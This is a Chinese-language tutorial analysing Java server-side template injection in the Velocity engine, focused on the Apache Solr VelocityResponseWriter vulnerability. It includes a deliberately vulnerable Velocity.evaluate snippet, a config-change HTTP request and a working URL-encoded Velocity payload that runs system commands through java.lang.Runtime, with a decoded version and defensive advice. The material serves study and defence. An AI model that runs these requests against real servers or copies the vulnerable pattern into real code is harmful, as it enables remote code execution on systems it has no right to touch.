白头搔更短,SSTI惹人心!
字数 1474 2025-08-20 18:17:47
Java SSTI(服务端模板注入)漏洞深入分析与利用
一、SSTI基础概念
SSTI(Server-Side Template Injection)服务端模板注入是指在使用模板引擎渲染用户输入时,由于代码不规范或信任了用户输入而导致的注入漏洞。主要影响以下框架:
- Python框架:Jinja2、Mako、Tornado、Django
- PHP框架:Smarty、Twig
- Java框架:FreeMarker、Velocity、Jade
二、Java SSTI漏洞原理
1. 漏洞示例代码
private static void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template); // 漏洞点
}
2. 漏洞调用链分析
Velocity.evaluate()调用RuntimeSingleton.getRuntimeServices().evaluate()- 进入
RuntimeInstance类的evaluate方法 - 调用
parse()方法解析模板 - 进入
render()方法渲染模板 - 最终通过
execute()方法执行恶意代码
3. 关键执行点
在 SimpleNode 类的 execute 方法中:
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value...");
}
previousResult = result;
result = this.jjtGetChild(i).execute(result, context); // 关键执行点
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
三、Apache Solr Velocity模板注入漏洞分析
1. 漏洞复现步骤
- 修改配置:开启Velocity模板的
params.resource.loader.enabled选项
POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
- 执行恶意模板
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
2. 漏洞分析
-
Velocity模板引擎初始化:
- 在
VelocityResponseWriter类中创建Velocity模板引擎 - 通过
SimpleNode类处理模板指令
- 在
-
模板解析过程:
ASTSetDirective处理#set指令ASTMethod处理方法调用ASTReference处理变量引用
-
RCE实现原理:
- 通过
#set指令获取Runtime类 - 调用
getRuntime().exec()执行系统命令 - 使用
#foreach循环读取命令执行结果
- 通过
四、Velocity模板语法详解
1. #set语法
#set($var = "value") // 简单赋值
#set($person.name = "value") // 相当于Java的setName方法
2. #foreach语法
#foreach($child in $person.children)
$child
#end
内部实现:
- 将集合封装为Iterator
- 在context中临时创建三个变量:
elementKey:当前元素counterName:循环计数hasNextName:是否有下一个元素
五、POC构造原理
解码后的POC:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('calc'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
分步解析:
- 创建空字符串变量
$x - 通过反射获取Runtime类
- 获取Character和String类用于后续输出处理
- 执行命令并等待完成
- 获取命令输出流
- 使用循环读取并输出所有结果
六、防御措施
-
输入验证:
- 严格过滤用户输入的模板内容
- 禁止使用危险字符和关键字
-
配置安全:
- 禁用危险的Velocity配置选项
- 特别是
params.resource.loader.enabled
-
权限控制:
- 对Solr等系统配置API进行访问控制
- 使用认证和授权机制
-
沙箱环境:
- 使用安全的沙箱环境运行模板引擎
- 限制可访问的Java类和方
七、学习资源推荐
国内资料:
- Python SSTI:Flask/Jinja2模板注入绕过姿势
- PHP SSTI:服务端模板注入攻击浅析
国外资料:
- Server-Side Template Injection: RCE for the modern webapp
- In-Depth FreeMarker Template Injection
参考链接:
- Solr官方文档
- Velocity模板引擎源码分析
- 各种框架的模板结构对比